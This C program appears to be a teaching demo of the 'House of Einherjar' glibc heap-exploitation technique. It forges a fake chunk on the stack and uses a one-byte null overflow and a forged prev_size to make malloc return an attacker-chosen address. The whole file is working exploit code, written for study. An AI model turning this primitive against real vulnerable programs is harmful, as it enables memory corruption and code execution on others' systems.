#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar!\n");
	printf("Tested in Ubuntu 16.04 64bit.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	printf("\nWe allocate 0x38 bytes for 'a'\n");
	a = (uint8_t*) malloc(0x38);
	printf("a: %p\n", a);
	
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

	// create a fake chunk
	printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
	printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
	printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

	size_t fake_chunk[6];

	fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
	fake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.
	fake_chunk[2] = (size_t) fake_chunk; // fwd
	fake_chunk[3] = (size_t) fake_chunk; // bck
	fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
	fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


	printf("Our fake chunk at %p looks like:\n", fake_chunk);
	printf("prev_size (not used): %#lx\n", fake_chunk[0]);
	printf("size: %#lx\n", fake_chunk[1]);
	printf("fwd: %#lx\n", fake_chunk[2]);
	printf("bck: %#lx\n", fake_chunk[3]);
	printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
	printf("bck_nextsize: %#lx\n", fake_chunk[5]);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0xf8);
	int real_b_size = malloc_usable_size(b);

	printf("\nWe allocate 0xf8 bytes for 'b'.\n");
	printf("b: %p\n", b);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

	printf("\nb.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x100) | prev_inuse = 0x101\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("This is easiest if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");
	printf("If it had been modified, we would need a fake chunk inside "
		   "b where it will try to consolidate the next chunk\n");

	// Write a fake prev_size to the end of a
	printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
		   "it will consolidate with our fake chunk\n", sizeof(size_t));
	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	//Change the fake chunk's size to reflect b's new prev_size
	printf("\nModify fake chunk's size to reflect b's new prev_size\n");
	fake_chunk[1] = fake_size;

	// free b and it will consolidate with our fake chunk
	printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
	free(b);
	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

	//if we allocate another chunk before we free b we will need to 
	//do two things: 
	//1) We will need to adjust the size of our fake chunk so that
	//fake_chunk + fake_chunk's size points to an area we control
	//2) we will need to write the size of our fake chunk
	//at the location we control. 
	//After doing these two things, when unlink gets called, our fake chunk will
	//pass the size(P) == prev_size(next_chunk(P)) test. 
	//otherwise we need to make sure that our fake chunk is up against the
	//wilderness

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
	d = malloc(0x200);
	printf("Next malloc(0x200) is at %p\n", d);
}